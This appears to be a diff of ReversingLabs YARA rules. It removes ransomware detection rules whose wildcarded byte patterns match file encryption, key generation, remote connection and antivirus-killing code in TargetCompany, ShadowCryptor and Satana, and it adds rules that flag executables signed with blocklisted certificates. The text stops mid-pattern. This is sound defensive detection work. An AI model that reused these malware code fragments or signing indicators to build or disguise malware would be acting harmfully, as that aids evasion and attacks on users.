REVERSINGLABS_Cert_Blocklist_9A727E200Ea76570 : INFO FILE { meta: - description = "Yara rule that detects TargetCompany ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7e6983f9-2aca-5cfa-aad6-38aa64fa2062" - date = "2021-09-27" - modified = "2021-09-27" + id = "d133dac3-3959-50f0-913e-b279ca6a1c2c" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.TargetCompany.yara#L1-L141" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12984-L13002" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "05fa81afa8aa1e3b9955ad24a274ddef4fb32d678902af7aae6d6c67ed3bf0fd" + logic_hash = "337dc486f2bdca1f7682887d5e5c0f82961850a8fd9c9a20b9a43a75334070d8" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "TargetCompany" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 59 53 68 ?? ?? ?? ?? 6A ?? 53 6A - ?? 68 ?? ?? ?? ?? 56 FF D7 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 - BD ?? ?? ?? ?? ?? 75 ?? BF ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 56 8D 75 ?? E8 ?? ?? ?? - ?? 50 89 5D ?? E8 ?? ?? ?? ?? 53 6A ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? E9 ?? ?? - ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 - E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 53 68 - ?? ?? ?? ?? 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 56 FF D7 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? - ?? 6A ?? 5F 53 57 56 FF B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 50 - 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 33 FF 3B F3 89 85 - ?? ?? ?? ?? 7F ?? 7C ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? 33 FF 47 EB ?? B9 ?? ?? - ?? ?? 3B C1 73 ?? 53 51 56 FF B5 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 - } - $encrypt_files_p2 = { - 56 FF B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 89 95 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 3B FB 8B 3D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? - 89 9D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 59 89 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 FF B5 ?? - ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF B5 ?? ?? ?? ?? 8D 4D - ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 FF B5 ?? - ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? FF D6 E9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 89 85 ?? ?? ?? ?? 3B C3 0F 84 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 86 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 53 53 FF B5 ?? - ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50 FF B5 ?? - ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF B5 ?? - ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 - FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50 - FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 01 85 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 11 85 ?? ?? ?? ?? FF 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? - FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 6A ?? 53 53 33 C0 50 FF B5 ?? ?? ?? ?? FF D7 8B - BD ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 57 FF D6 53 8D 85 ?? ?? ?? - ?? 50 6A ?? 8D 45 ?? 50 57 FF D6 53 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 57 FF - D6 57 FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 - } - $remote_connection_p1 = { - 55 8B EC 83 EC ?? 53 56 33 F6 57 8D 5D ?? 89 75 ?? E8 ?? ?? ?? ?? 89 75 ?? 56 56 56 - FF 75 ?? 56 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 3B DE 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 FF 6A ?? 8D - 45 ?? 50 FF 74 BD ?? 53 FF 15 ?? ?? ?? ?? 47 83 FF ?? 72 ?? 56 56 6A ?? 56 56 FF 75 - ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 33 C9 80 7D ?? ?? - B8 ?? ?? ?? ?? 0F 95 C1 56 49 23 C8 03 C8 81 C9 ?? ?? ?? ?? 51 56 56 56 FF 75 ?? 89 - 4D ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 6A ?? - 5F 8D 45 ?? 50 8D 45 ?? 50 6A ?? 53 89 7D ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? - 81 4D ?? ?? ?? ?? ?? 57 8D 45 ?? 50 6A ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 8B 45 ?? FF - 75 ?? F7 D8 1B C0 50 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 56 56 8D 45 ?? - 50 53 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 C7 50 FF 75 ?? E8 ?? ?? ?? - ?? 59 59 8D 4D ?? 51 FF 75 ?? 89 45 ?? 03 C7 50 53 FF 15 ?? ?? ?? ?? 03 7D ?? 39 75 - ?? 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? - 39 75 ?? 75 ?? 33 C0 40 39 45 ?? 74 ?? 89 45 ?? E9 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? - ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 5F 5E 5B C9 C3 - } - $remote_connection_p2 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 9D ?? ?? ?? ?? - 8B F9 E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 45 - ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 85 F6 75 - ?? B8 ?? ?? ?? ?? 50 8D 45 ?? 50 57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 8B F8 85 F6 74 ?? 56 E8 ?? ?? ?? ?? 59 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 59 FF B5 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 5F 5E 33 - CD 5B E8 ?? ?? ?? ?? C9 C3 - } - $generate_key = { - 0F 31 0F AF C8 0F AF CE 0F AF 8D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 33 FF 47 57 53 53 - 8D 85 ?? ?? ?? ?? 50 89 8D ?? ?? ?? ?? FF D6 3B C3 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? - ?? ?? 75 ?? 6A ?? 57 53 53 8D 85 ?? ?? ?? ?? 50 FF D6 3B C3 74 ?? 8D 85 ?? ?? ?? ?? - 50 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 59 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C7 - B9 ?? ?? ?? ?? 8B 11 8B F2 C1 EE ?? 33 F2 69 F6 ?? ?? ?? ?? 03 F0 89 71 ?? 83 C1 ?? - 40 81 F9 ?? ?? ?? ?? 7C ?? 57 A3 ?? ?? ?? ?? FF 15 - } - $find_files_p1 = { - 8D 85 ?? ?? ?? ?? 53 53 50 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? - 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF - D6 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 - FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 33 F6 0F B7 - C6 FF 34 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? - ?? 46 66 83 FE ?? 72 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? - ?? 0F 84 ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 0F B7 B5 ?? ?? ?? ?? 8D 34 B5 - } - $find_files_p2 = { - FF 36 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D3 FF 36 89 85 ?? ?? - ?? ?? FF D3 8B 8D ?? ?? ?? ?? 3B C8 0F 84 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? 66 83 BD ?? - ?? ?? ?? ?? 72 ?? C6 85 ?? ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? FF 34 85 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FE 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? - ?? 72 ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 74 ?? 6A ?? 59 FF B5 ?? ?? ?? ?? 33 C0 - 8B FE F3 AB 66 8B 85 ?? ?? ?? ?? 66 89 46 ?? FF D3 8D 44 00 ?? 50 E8 ?? ?? ?? ?? 59 - FF B5 ?? ?? ?? ?? 89 46 ?? 50 FF 15 ?? ?? ?? ?? 56 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BF ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 EB ?? 56 FF 15 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B - 4D ?? 5F 5E 33 CD 33 C0 5B E8 ?? ?? ?? ?? C9 C2 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Alexsandro Da Rosa - ME" and ( pe.signatures [ i ] . serial == "00:9a:72:7e:20:0e:a7:65:70" or pe.signatures [ i ] . serial == "9a:72:7e:20:0e:a7:65:70" ) and 1539056530 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_0954A3C876Df9262Cde5817F9870F0C6 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "89f3a334-cd2f-51b9-83b2-2baca3c59ba5" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13004-L13020" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "164b064a9df31d4a122236dfee7b713417a44d47a7f304b2bf55686a7f038feb" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $generate_key ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dialer Access" and pe.signatures [ i ] . serial == "09:54:a3:c8:76:df:92:62:cd:e5:81:7f:98:70:f0:c6" and 1160438400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Shadowcryptor : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_3C30930E53Bb026F9A5D7440155F7118 : INFO FILE { meta: - description = "Yara rule that detects ShadowCryptor ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "983e8927-4829-540f-9697-886226fd54ce" - date = "2021-02-11" - modified = "2021-02-11" + id = "ad7d8be0-ecb1-508f-bfce-7a5cecfd4e2f" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.ShadowCryptor.yara#L1-L89" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13022-L13038" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "875150db9fc36cd992988bba7d0c05487418b901980bf428ebd427c82fbcacd7" + logic_hash = "260a58669043d21ee0ffccbdee95c9d04ef338497685d42f1951660f658a164d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "ShadowCryptor" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 0F 43 45 ?? 50 8D 85 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B - BD ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB ?? - 8D A4 24 ?? ?? ?? ?? 90 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 33 C0 83 7D - ?? ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 85 - ?? ?? ?? ?? 83 F8 ?? 74 ?? A8 ?? 74 ?? 50 8D 85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? EB ?? 51 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 83 C7 ?? 83 D6 ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 - 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D6 8B C7 8B 4D ?? 64 89 0D ?? ?? - ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 - } - $encrypt_files = { - 55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? - 33 C4 89 44 24 ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 44 24 ?? 64 A3 ?? ?? ?? ?? 8B - F1 8D 46 ?? 50 8D 4E ?? E8 ?? ?? ?? ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? - ?? ?? ?? 66 89 44 24 ?? 89 44 24 ?? 39 46 ?? 0F 84 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ?? - 80 7E ?? ?? 0F 85 ?? ?? ?? ?? 51 8D 44 24 ?? 50 8D 44 24 ?? 50 8D 4E ?? E8 ?? ?? ?? - ?? 8B C8 E8 ?? ?? ?? ?? 8B D0 8B 02 85 C0 74 ?? 8B 00 8B 48 ?? 8B 40 ?? 49 23 4A ?? - 8B 04 88 8D 4C 24 ?? 3B C8 74 ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 46 ?? 8B 4E ?? 48 - 03 C8 8B 46 ?? 48 23 C8 8B 46 ?? 8B 3C 88 83 7F ?? ?? 72 ?? FF 37 E8 ?? ?? ?? ?? 83 - C4 ?? 33 C0 C7 47 ?? ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 66 89 07 FF 4E ?? 75 ?? 89 46 - ?? 83 EC ?? 8B CC 6A ?? 89 41 ?? 33 C0 C7 41 ?? ?? ?? ?? ?? 50 66 89 01 8D 44 24 ?? - 50 E8 ?? ?? ?? ?? 51 8B CE E8 ?? ?? ?? ?? 8B C8 0B CA 74 ?? 01 46 ?? 11 56 ?? 83 7C - 24 ?? ?? 8D 54 24 ?? 0F 43 54 24 ?? 83 EC ?? 8B FC 33 C0 C7 47 ?? ?? ?? ?? ?? C7 47 - ?? ?? ?? ?? ?? 66 89 07 66 39 02 74 ?? 8B C2 8D 48 ?? 89 4C 24 ?? 66 8B 08 83 C0 ?? - 66 85 C9 75 ?? 2B 44 24 ?? D1 F8 50 52 8B CF E8 ?? ?? ?? ?? 8B 4E ?? 83 79 ?? ?? 8D - 41 ?? 72 ?? 8B 00 8B 91 ?? ?? ?? ?? 81 C1 ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 09 50 E8 - ?? ?? ?? ?? 83 C4 ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? - E8 ?? ?? ?? ?? 83 C4 ?? 8B 4C 24 ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4C 24 ?? 33 - CC E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $terminate_antivirus_processes_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 33 C0 C7 43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 66 89 03 89 - 45 ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 - } - $terminate_antivirus_processes_p2 = { - 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 49 ?? 33 F6 8B BC B5 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 57 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 39 43 ?? 74 ?? 6A ?? 68 ?? - ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 66 83 3F ?? 75 ?? 33 C0 EB ?? 8B C7 8D 50 ?? 8D 49 ?? - 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 50 57 8B CB E8 ?? ?? ?? ?? 46 83 FE ?? - 72 ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 FF - 15 ?? ?? ?? ?? 8B C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? - ?? ?? ?? 8B E5 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CPM Media, Ltd." and pe.signatures [ i ] . serial == "3c:30:93:0e:53:bb:02:6f:9a:5d:74:40:15:5f:71:18" and 1064534400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_432Eefc0D4Dc0326Eb277A518Cc4310A : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "eeccb477-0bf7-5b79-94df-710e6e0db78f" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13040-L13056" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "d5a0b7f19f66f18b5ef1c548276b675ead74fed6be94310c303bfad6c85f18be" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $terminate_antivirus_processes_p* ) ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "43:2e:ef:c0:d4:dc:03:26:eb:27:7a:51:8c:c4:31:0a" and 1466121600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Satana : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_470D6Ce21A6940320261F09E : INFO FILE { meta: - description = "Yara rule that detects Satana ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8dc5bf7c-d4cb-5961-804b-035676dacbc0" - date = "2020-06-26" - modified = "2020-07-15" + id = "00b92b5d-59e3-5aae-954d-a90bd8cc1370" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Satana.yara#L1-L123" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13058-L13074" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5deb6ac2e8b64fb6f7af8c41a9b9e695668ca66c96c65f0c7350b11cd4ae0c50" + logic_hash = "cae1d381bf2018a0ce56feb245d01f2bfea55b67894264d32d78dbb41873c792" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Satana" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? - ?? 83 EC ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 89 65 ?? C7 45 ?? ?? ?? ?? ?? 66 - 0F 57 C0 66 0F 13 45 ?? 68 ?? ?? ?? ?? 8B 75 ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 90 - 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B F8 89 - 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 8B 75 ?? 89 75 ?? - 8B 5D ?? 89 5D ?? 83 FE ?? 75 ?? 85 DB 0F 84 ?? ?? ?? ?? 8B CE 0B CB 0F 84 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 53 56 E8 ?? ?? ?? ?? 89 45 ?? 85 